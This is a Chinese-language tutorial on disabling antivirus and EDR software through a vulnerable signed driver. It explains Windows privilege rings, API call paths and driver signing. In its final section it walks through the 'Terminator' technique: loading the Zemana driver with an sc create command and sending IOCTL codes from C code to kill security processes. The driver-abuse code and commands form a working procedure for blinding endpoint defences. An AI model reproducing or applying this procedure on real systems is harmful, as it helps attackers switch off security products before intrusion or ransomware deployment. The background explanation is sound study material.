通过驱动 kill 杀软学习

一、Ring0 - Ring3

​ Intel 的 CPU 将特权级别分为 4 个级别,分别是:RING0 、RING1 、RING2 、RING3 。

​ 而Windows 只使用了其中的两个级别 RING0 和 RING3 ,RING0 只给操作系统用,RING3 则是谁都能用。普通程序正常情况是无法执行 RING0 层的指令的。

​

​ 在Windows 系统中,RING0 层拥有最高的权限, 而 RING3层 拥有最低的权限。按照Intel原有的构想,应用程序工作在RING3层,只能访问RING3层的数据,操作系统工作在RING0层,可以访问所有层的数据,而其他驱动程序位于RING1、RING2层,每一层只能访问本层以及权限更低层的数据。通常情况下,会称RING3为 用户态, RING0 为内核态。

​ RING设计的初衷是将系统权限与程序分离出来,使之能够让OS更好的管理当前系统资源,也使得系统更加稳定。举个RING权限的最简单的例子:一个停止响应的应用程式,它运行在比RING0更低的指令环上,你不必大费周章的想着如何使系统回复运作,这期间,只需要启动任务管理器便能轻松终止它,因为它运行在比程式更低的RING0指令环中,拥有更高的权限,可以直接影响到RING0以上运行的程序,当然有利就有弊,RING保证了系统稳定运行的同时,也产生了一些十分麻烦的问题。比如一些OS虚拟化技术,在处理RING指令环时便遇到了麻烦,系统是运行在RING0指令环上的,但是虚拟的OS毕竟也是一个系统,也需要与系统相匹配的权限。而RING0不允许出现多个OS同时运行在上面,最早的解决办法便是使用虚拟机,把OS当成一个程序来运行。

API从应用层到内核层调用流程

  • 我们在进行Windows编程的时候,经常会调用Windows API。在 Windows 程序中,调用 Windows 函数与调用 C 语言的库函数没有什么两样。
  • 最主要的区别就是 C 语言库函数的机器代码会直接链接到你的程序代码中去,而 Windows 函数则是放到你的程序之外的DLL里。
  • 每个 Windows 的 EXE 文件包含它所要用到的各个动态链接库以及库中的函数的引用地址。
  • 当一个 Windows 程序被装入内存后,程序中的函数调用都被解析成 DLL 函数入口的指针,同时这些被调用的函数也被装入内存。
  • 当链接 Windows 程序以生成可执行文件时,一定得链接你的编程环境所提供的特殊的“导入库”。
  • 应用层调用的api一般是被封装在kernel32.dll或者Gdi32.dll/User32.dll动态链接库里面的。
  • 可以分为两类,一种是Kernel32.dll api,另一种与图形操作、键盘操作、用户操作相关的api则是被封装在Gdi32.dll/User32.dll动态链接库中。这两类api的区别:
    • 主要是进入内核之前,Kernel32.dll API会被进一步被封装成Ntdll.dll API,而Gdi32.dll/User32.dll API不会经过封装直接就进入内核;
    • Kernel32.dll API使用SSDT表(保存在ntoskrnl.exe中),而Gdi32.dll/User32.dll API则是使用Shadow SSDT表(保存在Win32k.sys中)

函数ZW与NT区别(以ZW、NT开头的Windows api函数)

  • 在Ntdll.dll中:ZW与NT完全一样

  • 在ntoskrnl.exe中:

    • NT函数是存放在SSDT表中的,用来响用户态的请求或者响应内核态Zw函数的请求,即无论走用户态路径还是内核态路径都是调用NT函数 。
    • Zw*->Nt*(Zw函数会调用Nt),Nt函数更底层,既然Nt函数更底层,内核态驱动可不可以直接调用NT函数呢?不能!
    • 因为Zw函数会把kthread中的PreviousMode设置为KernelMode,然后再调用Nt函数,因为此时是KernelMode,所以在Nt函数中就不会进行参数检查。
    • 而如果直接调用Nt函数的话,必须程序员自己将PreviousMode设置为KernelMode(修改的过程很麻烦的,因为kthread是未导出的,要硬编码偏移来定位PreviousMode,才能修改),否则PreviousMode很可能仍然是UserMode,这样的话,Nt函数就会认为对它的调用来自用户态,从而做一些检查(probe内存,发现驱动传的是内核态内存,但PreviousMode很仍然是UserMode),这时就会调用失败导致蓝屏保护,防止越权。
    • 所以在内核态,还是老老实实调用Zw函数。
    • 封装成Irp包: 应用层传下来的参数、请求、命令(文件路径,以什么方式打开文件等)会被封装在Irp数据包。
    • 发给驱动处理: 比如CreateFile的Irp数据包会发给文件管理驱动ntfs.sys–>磁盘驱动disk.sys,最终由硬件处理,处理完再返回给调用者。

Ring3 与 Ring0 的通信方式

  1. buffered io

    • 在内核层分配一块缓存,io管理器负责把应用层/内核层copy到buffer,io管理器负责把buffer拷贝到io管理器负责把内核层/应用层。
    • 优点:安全简单,因为不会操作应用层的内存,buffer是来自内核态的,应用层无法改内核层的数据,所以是安全的。
    • 缺点:效率低,因为一次通信有两次拷贝,一般传输数据量是不大的,buffer io是够用的,但如果是类似3d渲染,数据量大,direct io更适合;
  2. direct io

    • io管理器通过MPL把应用层/内核层的虚拟地址映射成物理地址,然后lock,防止被这块内存切换出去(pageout),io管理器通过MPL把同一物理地址映射成内核层/应用层的物理地址。
    • 优点效率是最高的,一次通信只有一次拷贝
    • 但稍复杂
  3. neither io

    • 内核层直接访问应用层的数据,前提是应用层和内核层同处于一个进程上下文(因为应用层内存地址是私有的,应用层进程切换之后内存就失效了),要对内核层传入的内存地址要做检查(ProbeForRead/ProbeForWrite),否则会有提取漏洞 。

为什么进程管理器无法KILL杀软进程

​ 因为通常杀软会在安装的时候加载自家驱动,通过在ring0层对自身驱动进行保护。这样用户就无法对驱动进程进行终止。

二、驱动

Windows驱动是一种软件组件,用于与操作系统内核进行交互,管理和控制硬件设备或系统资源。驱动程序充当操作系统和硬件设备之间的桥梁,使它们能够相互通信和协调工作。

在Windows操作系统中,驱动程序以模块的形式存在,通常是以动态链接库(DLL)或内核模块(SYS)的形式提供。驱动程序可以控制各种硬件设备,如网络适配器、图形卡、声卡、打印机、存储设备等,以及其他系统资源,如文件系统、注册表、进程管理等。

驱动程序通过与操作系统内核进行交互,通过调用内核提供的函数和使用内核提供的数据结构来执行各种操作。驱动程序负责处理硬件设备的初始化、配置、数据传输、中断处理、电源管理等任务。它们还可以提供与硬件设备相关的功能和性能优化。

驱动程序通常由硬件设备的制造商提供,以确保设备与操作系统的兼容性和正确的功能。驱动程序的正确安装和配置对于设备的正常运行和性能至关重要。

编写和开发Windows驱动程序需要使用特定的开发工具和编程技术,如Windows驱动程序开发包(WDK)和驱动程序开发框架(Driver Framework,简称WDF)。驱动程序的开发和调试通常需要熟悉底层系统编程和操作系统内部机制。

总而言之,Windows驱动程序是一种关键的软件组件,用于管理和控制硬件设备和系统资源,使其能够与Windows操作系统无缝协同工作。

​ 假设你需要编写一个有权访问核心操作系统数据结构的工具。 这些结构只能通过在内核模式下运行的代码访问。 可以通过将工具拆分成两个组件来执行该操作。 第一个组件在用户模式下运行且提供用户界面。 第二个组件在内核模式下运行且可以访问核心操作系统数据。 在用户模式下运行的组件称为应用程序,在内核模式下运行的组件称为“软件驱动程序” 。 软件驱动程序不与硬件设备关联。

​ 驱动在安全领域的应用:弹窗和拦截 、HOOK 、 绑定与过滤 、 注册回调来监控 等。

驱动签名

​ 从 Windows Vista 开始,基于 x64 的 Windows 版本要求在内核模式下运行的所有软件(包括驱动程序)经过数字签名才能加载。

​ 通过 Microsoft 认证驱动程序 ,Microsoft 将提供它的签名。 当驱动程序包通过认证测试时,Windows 硬件质量实验室 (WHQL) 进行签名。 如果你的驱动程序包由 WHQL 进行签名,则可以通过 Windows 更新计划或其他 Microsoft 支持的分发机制来分发。

​ 注意 必需的内核模式代码签名策略适用于在 Windows Vista 和更高版本的 Windows 上运行的基于 x64 的系统的所有内核模式软件。 但是,Microsoft 鼓励发布者对所有内核模式软件(包括设备驱动程序 (32 位系统) 包含的用户模式驱动程序)进行数字签名。 Windows Vista 和更高版本的 Windows,验证 32 位系统上的内核模式签名。 支持受保护媒体内容的软件必须经过数字签名,即使它是 32 位的。

​ 用户模式驱动程序(如打印机驱动程序)将在基于 x64 的计算机中安装和工作。 安装期间,用户将显示一个对话框,请求批准安装驱动程序。 从 Windows 8 及更高版本的 Windows 开始,除非这些驱动程序包也已签名,否则不会继续安装。

​ 也就是说通常情况下,未签名的驱动是无法加载进系统的

​ 微软提供的驱动签名主要有两种:使用证明签名,仅适用于win10 、使用HLK进行认证,适用于win7+win10 。 具体方式可才考:https://www.freebuf.com/articles/system/321507.html

​ 而正常的签名流程是需要企业认证,并且向微软进行提交申请的。所以对于一般的个人选手来说,自签名这块一般是走不通的。

漏洞驱动

​ 正常的流程走不通,就要去找其他利用路线了。找存在漏洞的合法驱动就是应用最为广泛的方向之一。

​ 关于漏洞驱动,国外有一个网站时专门收集这块的:https://www.loldrivers.io/

​

​ 在这个网站上,收集了很多已知存在漏洞的驱动,并且大多数都提供了下载地址。但是具体漏洞位置可能还是需要个人去寻找(当然有些网上能搜到利用代码)。

​

三、代码实现

​ 其实这块,GitHub上有好些开源代码都给了相关的实现步骤。以 https://github.com/ZeroMemoryEx/Terminator 为例,它是通过 重现 Spyboy 技术来终止所有 EDR/XDR/AV 进程。

该项目提供了一个已签名的驱动以及相关的利用代码。

​ 整个流程分三部分。首先第一部分就是加载驱动:

​ 可以直接使用命令进行加载

sc create mydriver binpath= C:\dl\drv\antitp.sys type= kernel start= demand error= ignore&&sc start mydriver

​ 也可以通过Windows api 函数进行一个加载:

// Create the service
hService = CreateServiceA(hSCM, g_serviceName, g_serviceName, SERVICE_ALL_ACCESS,
SERVICE_KERNEL_DRIVER, SERVICE_DEMAND_START,
SERVICE_ERROR_IGNORE, driverPath, NULL, NULL, NULL,
NULL, NULL);

if (hService == NULL) {
CloseServiceHandle(hSCM);
return (1);
}

​ 也可以通过注册表进行创建服务并加载。

HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services

​ 可以参考该注册表项进行添加相应的服务,然后进行加载。

​ 创建了驱动并加载后,此时驱动文件就处于占用状态了,直接是无法删除的。下一步连接驱动即可。

HANDLE hDevice =
CreateFile(L"\\\\.\\ZemanaAntiMalware", GENERIC_WRITE | GENERIC_READ, 0,
NULL, OPEN_EXISTING, FILE_ATTRIBUTE_NORMAL, NULL);

if (hDevice == INVALID_HANDLE_VALUE) {
printf("Failed to open handle to driver !! ");
return (-1);
}

​ 这里需要注意的是,不同的驱动,在CreateFile 时所使用的路径不一样,此处用的是:\\\\.\\ZemanaAntiMalware

​ 成功连接到驱动后,向存在漏洞的驱动发送相关的指令即可。以该项目为例:

#define IOCTL_REGISTER_PROCESS 0x80002010

#define IOCTL_TERMINATE_PROCESS 0x80002048

......

if (!DeviceIoControl(hDevice, IOCTL_REGISTER_PROCESS, &input, sizeof(input),
NULL, 0, NULL, NULL)) {
printf("Failed to register the process in the trusted list %X !!\n",
IOCTL_REGISTER_PROCESS);
CloseHandle(hDevice);
return (-1);
}

......

procId = (unsigned int)pE.th32ProcessID;
if (!DeviceIoControl(hDevice, IOCTL_TERMINATE_PROCESS, &procId,
sizeof(procId), &pOutbuff, sizeof(pOutbuff),
&bytesRet, NULL))
printf("faild to terminate %ws !!\n", pE.szExeFile);
else {
printf("terminated %ws\n", pE.szExeFile);
ecount++;
}

​ 这里需要注意的是:IOCTL_REGISTER_PROCESS 和 IOCTL_TERMINATE_PROCESS 。 这两个通常用于与驱动程序进行交互的 IOCTL(Input/Output Control)控制码。

  1. IOCTL_REGISTER_PROCESS:这个 IOCTL 控制码通常用于向驱动程序注册进程信息。当用户空间应用程序需要与特定的驱动程序进行通信或进行特定操作时,可以通过向驱动程序发送 IOCTL_REGISTER_PROCESS 控制码来注册当前进程的信息,以便驱动程序可以识别和处理与该进程相关的请求。
  2. IOCTL_TERMINATE_PROCESS:这个 IOCTL 控制码通常用于向驱动程序发送终止进程的请求。用户空间应用程序可以通过向驱动程序发送 IOCTL_TERMINATE_PROCESS 控制码来请求驱动程序终止指定进程。驱动程序可以根据收到的请求执行相应的操作,例如终止进程的执行。

​ 这两个控制码通常取决于漏洞驱动,需要在驱动加载及执行相关操作的时候获取。

​ 如果上述流程顺利,就i可以通过在ring3层调用ring0层的函数去kill 指定进程了。

​ 更多知识建议详细阅读:https://bbs.kanxue.com/thread-275999.htm

参考